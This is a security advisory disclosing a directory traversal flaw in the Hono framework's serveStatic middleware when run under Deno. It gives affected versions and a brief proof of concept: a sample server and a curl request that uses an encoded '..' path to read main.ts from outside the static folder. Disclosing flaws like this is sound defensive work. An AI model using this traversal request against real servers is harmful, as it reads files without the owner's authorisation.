GHSA-3mpf-rcc7-5347MediumCVSS 5.3

Hono vulnerable to Restricted Directory Traversal in serveStatic with deno

Published
April 23, 2024
Last Modified
April 24, 2024

🔗 CVE IDs covered (1)

📋 Description

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

🎯 Affected products1

  • npm/hono:< 4.2.7

🔗 References (4)